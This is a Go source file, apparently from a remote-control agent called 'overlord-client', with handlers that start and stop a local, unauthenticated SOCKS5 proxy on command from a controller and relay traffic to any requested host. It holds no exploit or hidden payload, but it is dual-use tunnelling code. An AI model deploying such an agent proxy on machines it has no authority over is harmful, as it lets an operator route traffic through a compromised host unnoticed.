256 lines
5.5 KiB
Go
256 lines
5.5 KiB
Go
package handlers
|
|||
|
|
|
||
|
|
import (
|
||
|
|
"context"
|
||
|
|
"encoding/binary"
|
||
|
|
"fmt"
|
||
|
|
"io"
|
||
|
|
"log"
|
||
|
|
"net"
|
||
|
|
"sync"
|
||
|
|
"time"
|
||
|
|
|
||
|
|
"overlord-client/cmd/agent/runtime"
|
||
|
|
"overlord-client/cmd/agent/wire"
|
||
|
|
)
|
||
|
|
|
||
|
|
var (
|
||
|
|
proxyListenerMu sync.Mutex
|
||
|
|
proxyListener net.Listener
|
||
|
|
proxyPort int
|
||
|
|
proxyCtx context.Context
|
||
|
|
proxyCancel context.CancelFunc
|
||
|
|
)
|
||
|
|
|
||
|
|
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||
|
|
proxyListenerMu.Lock()
|
||
|
|
defer proxyListenerMu.Unlock()
|
||
|
|
|
||
|
|
if proxyListener != nil {
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Message: "Proxy already running",
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
requestedPort := 1080
|
||
|
|
if portVal, ok := payload["port"]; ok {
|
||
|
|
if port, ok := portVal.(int); ok && port > 0 {
|
||
|
|
requestedPort = port
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
|
||
|
|
if err != nil {
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Message: fmt.Sprintf("Failed to start proxy: %v", err),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
proxyListener = listener
|
||
|
|
proxyPort = listener.Addr().(*net.TCPAddr).Port
|
||
|
|
proxyCtx, proxyCancel = context.WithCancel(context.Background())
|
||
|
|
|
||
|
|
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
|
||
|
|
|
||
|
|
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: true,
|
||
|
|
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
|
||
|
|
}); err != nil {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
|
||
|
|
go acceptProxyConnections(proxyCtx, listener)
|
||
|
|
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||
|
|
proxyListenerMu.Lock()
|
||
|
|
defer proxyListenerMu.Unlock()
|
||
|
|
|
||
|
|
if proxyListener == nil {
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Message: "No proxy running",
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
if proxyCancel != nil {
|
||
|
|
proxyCancel()
|
||
|
|
}
|
||
|
|
|
||
|
|
if err := proxyListener.Close(); err != nil {
|
||
|
|
log.Printf("Error closing proxy listener: %v", err)
|
||
|
|
}
|
||
|
|
|
||
|
|
proxyListener = nil
|
||
|
|
proxyPort = 0
|
||
|
|
|
||
|
|
log.Printf("SOCKS5 proxy stopped")
|
||
|
|
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: true,
|
||
|
|
Message: "Proxy stopped",
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
|
||
|
|
for {
|
||
|
|
select {
|
||
|
|
case <-ctx.Done():
|
||
|
|
return
|
||
|
|
default:
|
||
|
|
}
|
||
|
|
|
||
|
|
conn, err := listener.Accept()
|
||
|
|
if err != nil {
|
||
|
|
select {
|
||
|
|
case <-ctx.Done():
|
||
|
|
return
|
||
|
|
default:
|
||
|
|
log.Printf("Proxy accept error: %v", err)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
go handleProxyConnection(ctx, conn)
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleProxyConnection(ctx context.Context, conn net.Conn) {
|
||
|
|
defer conn.Close()
|
||
|
|
|
||
|
|
conn.SetDeadline(time.Now().Add(30 * time.Second))
|
||
|
|
|
||
|
|
buf := make([]byte, 2)
|
||
|
|
if _, err := io.ReadFull(conn, buf); err != nil {
|
||
|
|
log.Printf("Proxy handshake read error: %v", err)
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
version := buf[0]
|
||
|
|
nmethods := buf[1]
|
||
|
|
|
||
|
|
if version != 5 {
|
||
|
|
log.Printf("Unsupported SOCKS version: %d", version)
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
methods := make([]byte, nmethods)
|
||
|
|
if _, err := io.ReadFull(conn, methods); err != nil {
|
||
|
|
log.Printf("Proxy methods read error: %v", err)
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
if _, err := conn.Write([]byte{5, 0}); err != nil {
|
||
|
|
log.Printf("Proxy handshake response error: %v", err)
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
reqHeader := make([]byte, 4)
|
||
|
|
if _, err := io.ReadFull(conn, reqHeader); err != nil {
|
||
|
|
log.Printf("Proxy request header error: %v", err)
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
if reqHeader[0] != 5 {
|
||
|
|
log.Printf("Invalid request version: %d", reqHeader[0])
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
cmd := reqHeader[1]
|
||
|
|
if cmd != 1 {
|
||
|
|
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
atyp := reqHeader[3]
|
||
|
|
var host string
|
||
|
|
var port uint16
|
||
|
|
|
||
|
|
switch atyp {
|
||
|
|
case 1: // IPv4
|
||
|
|
addr := make([]byte, 4)
|
||
|
|
if _, err := io.ReadFull(conn, addr); err != nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
host = net.IP(addr).String()
|
||
|
|
case 3: // domain name
|
||
|
|
addrLen := make([]byte, 1)
|
||
|
|
if _, err := io.ReadFull(conn, addrLen); err != nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
addr := make([]byte, addrLen[0])
|
||
|
|
if _, err := io.ReadFull(conn, addr); err != nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
host = string(addr)
|
||
|
|
case 4: // IPv6
|
||
|
|
addr := make([]byte, 16)
|
||
|
|
if _, err := io.ReadFull(conn, addr); err != nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
host = net.IP(addr).String()
|
||
|
|
default:
|
||
|
|
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
// read port
|
||
|
|
portBytes := make([]byte, 2)
|
||
|
|
if _, err := io.ReadFull(conn, portBytes); err != nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
port = binary.BigEndian.Uint16(portBytes)
|
||
|
|
|
||
|
|
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
|
||
|
|
|
||
|
|
// connect to target
|
||
|
|
targetAddr := fmt.Sprintf("%s:%d", host, port)
|
||
|
|
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("Failed to connect to %s: %v", targetAddr, err)
|
||
|
|
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
|
||
|
|
return
|
||
|
|
}
|
||
|
|
defer targetConn.Close()
|
||
|
|
|
||
|
|
// send success response
|
||
|
|
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
|
||
|
|
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
|
||
|
|
|
||
|
|
// clear deadline for data transfer
|
||
|
|
conn.SetDeadline(time.Time{})
|
||
|
|
targetConn.SetDeadline(time.Time{})
|
||
|
|
|
||
|
|
// relay data bidirectionally
|
||
|
|
done := make(chan struct{}, 2)
|
||
|
|
|
||
|
|
goSafe("socks5 relay to target", nil, func() {
|
||
|
|
io.Copy(targetConn, conn)
|
||
|
|
done <- struct{}{}
|
||
|
|
})
|
||
|
|
|
||
|
|
goSafe("socks5 relay to client", nil, func() {
|
||
|
|
io.Copy(conn, targetConn)
|
||
|
|
done <- struct{}{}
|
||
|
|
})
|
||
|
|
|
||
|
|
select {
|
||
|
|
case <-done:
|
||
|
|
case <-ctx.Done():
|
||
|
|
}
|
||
|
|
}
|